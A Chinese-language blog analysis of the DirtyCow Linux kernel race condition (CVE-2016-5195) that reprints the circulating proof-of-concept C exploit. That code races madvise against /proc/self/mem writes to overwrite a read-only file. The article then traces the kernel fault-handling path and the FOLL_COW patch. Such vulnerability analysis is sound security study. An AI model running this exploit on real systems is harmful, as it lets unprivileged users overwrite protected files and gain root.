DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

阅读(687)

0x0 概述

DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).

该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。下面分析漏洞原理。

0x1 POC分析

先简单梳理一下POC的几个重要的点,下面是广为流传的一段POC代码。

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
   c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;

  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {

lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[])
{
  if (argc<3)return 1;
  pthread_t pth1,pth2;

  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];

  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);

  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

上面POC为了紧凑一些,去掉了注释、全局变量等,只保留了主体部分。

main函数将一个只读的文件映射到内存,注意到mmap的flag参数为MAP_PRIVATE,且属性为只读。当后面对该内存写入时,会创造一个cow的映射操作,也就是拷贝一个副本,并在副本里写入。对这个副本的操作,不会影响到其他映射该文件的进程。而且也不会对原文件进行更改。关于为何执行cow操作,后面会分析。之后创建两个线程,是此次竞争条件触发的关键。

第一个线程调用了madvise,一个关键的参数是MADV_DONTNEED

    madvise(map,100,MADV_DONTNEED)

madvise是linux一个系统调用通知内核如何处理addr,addr+len部分的内存页,例如提前预读或者是缓存技术。这里用到的MADV_DONTNEED参数,指该部分内存短期不会访问,内核可以释放掉内存页。调用带有MADV_DONTNEED参数的madvise,表明程序不需要相应内存页,如果这些内存页被标记为dirty,则直接丢弃。

另一个线程通过/proc/self/mem文件,尝试向文件被映射的内存写入数据。


    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
        

0x2 漏洞原理分析

这个漏洞关键是两个线程的运行,如何导致了竞争条件,造成越权写只读的内存页。这个过程需要分析源码,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已经贴出了漏洞触发的函数调用流程,这里对几个关键地方分析一下。

执行写操作时,内核需要获取相应的内存页,对应的函数为get_user_pages,真正的功能在__get_user_pages中实现。

    __get_user_pages{
            ……
    retry:
              if (unlikely(fatal_signal_pending(current)))
                         return i ? i : -ERESTARTSYS;
              cond_resched();
              page = follow_page_mask(vma, start, foll_flags, &page_mask);
              if (!page) {
                      int ret;
                      ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
                      switch (ret) {
                        case 0:
                               goto retry;
            ……
    }

当上述流程走到case 0时,会循环调用follow_page_mask、faultin_page两个函数。由于第一次调用__get_user_pages,需要处理缺页,会进行如下的调用序列

get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault

当调用到do_fault时,判断要求写属性,且映射页属性不是VM_SHARED,会执行cow操作,相当于创建一个文件映射内存页的副本。如下所示:

    do_fault{
        ……
        if (!(fe->flags & FAULT_FLAG_WRITE))
            return do_read_fault(fe, pgoff);
        //当不是VM_SHARED的时候,执行cow
        if (!(vma->vm_flags & VM_SHARED))
            return do_cow_fault(fe, pgoff);
        ……
    }

继续执行:

do_fault->do_cow_fault->alloc_set_pte

其中alloc_set_pte,设置cow的页面为page_dirty,并没有置位可写。如下所示:

maybe_mkwrite(pte_mkdirty(entry), vma)

faultin_page整个流程结束,第一次调用通过cow分配了文件映射内存页的副本文件,且返回NULL。

retry之后,第二次处理流程。首先follow_page_mask函数,调用流程为

    follow_page_mask->follow_page_pte

    follow_page_pte{
        ...
        if ((flags & FOLL_WRITE) && !pte_write(pte)) {
                pte_unmap_unlock(ptep, ptl);
                return NULL;
        }
        ...
    }
    

这里判断通过页表项判断,通过cow获取的内存页是否具有写权限,没有则直接返回NULL。在第一个faultin_page流程里,没有标记可写权限。这里直接返回NULL。

第二次进入faultin_page。但此时和第一次调用faultin_page流程不同,由于第一次已经完成了内存映射,进行了cow操作,这次主要是处理写权限的页错误问题。直接分析与第一次的不同点。


    Handle_pte_fault{
     if (fe->flags & FAULT_FLAG_WRITE) {
                if (!pte_write(entry))
                       return do_wp_page(fe, entry);
                entry = pte_mkdirty(entry);
        }
    }

此次没有缺页错误,而是处理要求的写权限错误,会调用do_wp_page函数

do_wp_page-> ……->wp_page_reuse

由于之前已经进行过cow操作,所以直接使用cow的内存页,最后一层层返回到fault_in_page函数中为VM_FAULT_WRITE。由此,要求的写权限标志会被去掉,即会去掉FOLL_WRITE标志位,如下所示。


    Fault_in_page{
        ...
        if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
                *flags &= ~FOLL_WRITE;
    }

正常情况下,第三次再调用faultin_page,此时已经成功得到cow后的页面,且flags已经去掉FOLL_WRITE,因此不会再产生写错误的处理,可以直接写入cow的页了。

但是如果在上述流程即第二次页错误处理结束时,调用madvise,会unmap掉前面cow的页面,又进入缺页处理,这里不同的是在do_fault调用时,由于没有了写权限的要求,直接调用了do_read_fault读取映射文件的内存页。这一部分判断在do_fault函数中,继续拿出这部分代码。


    do_fault{
        ……
        if (!(fe->flags & FAULT_FLAG_WRITE))
            return do_read_fault(fe, pgoff);
        //当不是VM_SHARED的时候,执行cow
        if (!(vma->vm_flags & VM_SHARED))
            return do_cow_fault(fe, pgoff);
        ……
    }

这样,基本获取了映射文件的内存页,而不是第一次流程中cow的内存页副本。后面已经基本可以完成越权写操作了。

再梳理一下整个漏洞触发流程,这里用一个正常流程做对比:

正常流程:

第一次处理缺页错误,do_cow_fault-> 
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
可以写入cow页面

漏洞流程:

第一次处理缺页错误,do_cow_fault-> 
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
madvise unmap内存映射->
第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。

0x03 补丁分析

补丁加入了一个标志位,标识之前进行过COW

    +#define FOLL_COW   0x4000  /* internal GUP flag */

faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW


    if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
    -       *flags &= ~FOLL_WRITE;
    +       *flags |= FOLL_COW;
    return 0;

follow_page_pte对COW的内存页单独判断。如果要求写权限,要么内存页可写,要么是COW的副本页,且被标记为dirty。


    +static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
    +{
    +   return pte_write(pte) ||
    +       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    +}

    follow_page_pte{
    ...
    -   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
    +   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
            pte_unmap_unlock(ptep, ptl);
            return NULL;
    }

1、修改后,对COW的强制写入,不必去掉FOLL_WRITE权限要求,这样不会引发后面直接去获取文件映射内存。

2、follow_page_pte加入FOLL_COW的判断,同时加入了对dirty标记的判断,这样才能确保FOLL_COW标志有效,即该页表项还存在。

至此,整个漏洞原理基本分析完毕,关于漏洞利用,很多文章也说了很多方法,这里https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs是各种POC、利用的一个集合,可以自己去开脑洞尝试各种方法。本篇分析也是建立在其他漏洞、内核研究者的基础上,结合作者对linux内核的有限认知去剖析其中的原理,只是希望起到抛砖引玉,多交流和学习。

参考:

https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

https://dirtycow.ninja/

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

http://bobao.360.cn/learning/detail/3132.html

http://lxr.free-electrons.com/source/mm/gup.c

http://lxr.free-electrons.com/source/mm/memory.c

http://lxr.free-electrons.com/source/mm/madvise.c

本文为悬镜安全实验室原创文章,如需转载,还请标注作者和转载地址。

评论:

Your email address will not be published.


*